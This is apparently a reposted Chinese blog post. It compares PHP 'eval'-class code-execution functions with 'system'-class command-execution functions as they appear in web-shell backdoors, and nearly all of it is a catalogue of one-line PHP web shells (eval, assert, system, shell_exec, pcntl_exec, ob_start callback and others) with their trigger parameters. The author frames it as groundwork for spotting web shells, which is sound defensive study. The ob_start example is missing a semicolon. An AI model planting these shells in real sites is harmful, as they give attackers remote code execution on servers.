PHP后门的eval类和system类 函数到底有哪些区别

一、

  一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。

二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)

1、简单类

 1 //#1-eval
 2 <?php
 3     eval($_POST["cmd"])
 4 ?>
 5 //post:cmd=phpinfo();
 6 
 7 
 8 //#2-assert
 9 <?php
10     assert($_POST["cmd"])
11 ?>
12 //post:cmd=phpinfo();
13 
14 
15 //#3-call_user_func
16 <?php
17     call_user_func($_POST["fun"],$_POST["para"])
18 ?>
19 //post:fun=assert&para=phpinfo();

2、复杂类

 1 //#1-create_function
 2 <?php 
 3     $a= $_POST['func'];
 4     $b = create_function('$a',"echo $a");
 5     $b('');
 6 ?>
 7 //post:func=phpinfo();
 8 
 9 
10 //#2-array_map------->这个不懂先记下来
11 <?php
12     $array = array(0,1,2,3,4,5);
13     array_map($_GET['func'],$array);
14 ?>
15 //post:func=phpinfo

三、PHP的system类型函数,一句话:命令执行而不是代码执行。

 1 //#1-system
 2 <?php system($_POST["cmd"]);?>
 3 
 4 //#2-passthru
 5 <?php passthru($_POST["cmd"]);?>
 6 
 7 //#3-exec
 8 <?php echo exec($_POST["cmd"]);?>
 9 
10 //#4-pcntl_exec
11 <?php 
12     pcntl_exec("/bin/bash",array($_POST["cmd"]));
13 ?>
14 
15 //#5-shell_exec
16 <?php echo shell_exec($_POST["cmd"]); ?>
17 
18 //#6-popen()/proc_popen()
19 <?php $handle = popen("/bin/ls","r");?>
20 
21 //#7-``
22 <?php echo `whoami`?>

 高深一点的:

1 <?php
2 $cmd = 'system';
3 ob_start($cmd)
4 echo "$_GET[a]";
5 ob_end_flush();
6 ?>//?a=whoami
原文地址:https://www.cnblogs.com/KevinGeorge/p/8127054.html